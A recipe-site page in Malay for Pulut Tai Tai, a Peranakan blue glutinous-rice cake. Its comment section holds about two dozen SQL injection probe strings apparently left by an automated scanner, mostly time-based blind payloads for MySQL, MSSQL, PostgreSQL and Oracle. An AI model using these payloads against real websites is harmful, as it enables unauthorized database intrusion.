Pulut Tai Tai

Resepi peranakan baba & nyonya. juga dikenali sebagai pulut tekan. Menggunakan bunga telang untuk pewarna & dimakan bersama kaya. Resepi diperolehi dari google.

by 124N124W471

View full image

Share Add Favorite CookThis

Print Report

Prep time 10 minute(s) Cook time 35 minute(s) Total time 45 minute(s) Yield 1 serving(s)

Tips

1. Boleh juga masukkan pulut dlm bekas besar & dipotong apabila hendak dihidangkan.
2. Lebihkan bilangan kuntuman bunga untuk mendapatkan warna yg lebih menarik.

Ingredients

3 cawan	pulut
11 kuntum	bunga telang
1 cawan	santan pekat
1 1/2 cawan	santan cair
2 keping	asam gelugor
1 sk	garam
2 helai	daun pandan disimpul
Secukupnya	kaya

Instructions

1: Buang tangkai hijau bunga telang & basuh bersih. Masukkan dalam lesung & tumbuk lumat.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

2: Masukkan 1 sb air & layang2kan hulu lesung supaya air sebati hingga menjadi seperti pes.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

3: Tapis & perahkan airnya.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

4: Rendamkan 1 cawan beras pulut dalam air daun telang bersama 1 keping asam gelugor. Tambah air secukupnya.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

5: Rendam 2 cawan beras pulut bersama air biasa & sekeping asam gelugor.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

6: Toskan air, basuh pulut & masukkan beras pulut dalam loyang sebelah menyebelah. Tuangkan santan cair perlahan2 ke atas pulut.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

7: Masukkan dalam pengukus yang telah dipanaskan terlebih dahulu. Kukus selama 20 min.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

8: Keluarkan dari pengukus & tuangkan santan pekat. Gaul sebati. Kukus selama 15 min lagi.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

9: Keluarkan dari pengukus & gaul sebati pulut.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

10: Masukkan dalam loyang & tekan2 dengan daun pisang supaya pulut padat.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

11: Hidangkan bersama kaya.

0 Comment(s)

No comment yet. Be the first.

You must login/register to comment

Recooks

Try recook this recipe and share with the owner and us

CookThis

Comment

3 years ago • Reply

1'"

3 years ago • Reply

@@tGV4z

3 years ago • Reply

JyI=

3 years ago • Reply

bCLt31s3

3 years ago • Reply

-1 OR 2+564-564-1=0+0+0+1 --

3 years ago • Reply

-1 OR 2+375-375-1=0+0+0+1

3 years ago • Reply

-1' OR 2+920-920-1=0+0+0+1 --

3 years ago • Reply

-1' OR 2+108-108-1=0+0+0+1 or 'QkMFc2Z0'='

3 years ago • Reply

-1" OR 2+520-520-1=0+0+0+1 --

3 years ago • Reply

if(now()=sysdate(),sleep(12),0)

3 years ago • Reply

0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z

3 years ago • Reply

0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z

3 years ago • Reply

(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

3 years ago • Reply

-1; waitfor delay '0:0:12' --

3 years ago • Reply

-1); waitfor delay '0:0:12' --

3 years ago • Reply

1 waitfor delay '0:0:12' --

3 years ago • Reply

WdcvJvLU'; waitfor delay '0:0:12' --

3 years ago • Reply

-5 OR 668=(SELECT 668 FROM PG_SLEEP(12))--

3 years ago • Reply

-5) OR 284=(SELECT 284 FROM PG_SLEEP(12))--

3 years ago • Reply

-1)) OR 801=(SELECT 801 FROM PG_SLEEP(12))--

3 years ago • Reply

gx5iQNa2' OR 124=(SELECT 124 FROM PG_SLEEP(12))--

3 years ago • Reply

S2CwLIJm') OR 887=(SELECT 887 FROM PG_SLEEP(12))--

3 years ago • Reply

HdxZKZQZ')) OR 901=(SELECT 901 FROM PG_SLEEP(12))--

3 years ago • Reply

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

3 years ago • Reply

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'

3 years ago • Reply

You must login/register to comment

Pulut Tai Tai

Resepi peranakan baba & nyonya. juga dikenali sebagai pulut tekan. Menggunakan bunga telang untuk pewarna & dimakan bersama kaya. Resepi diperolehi dari google.

Tips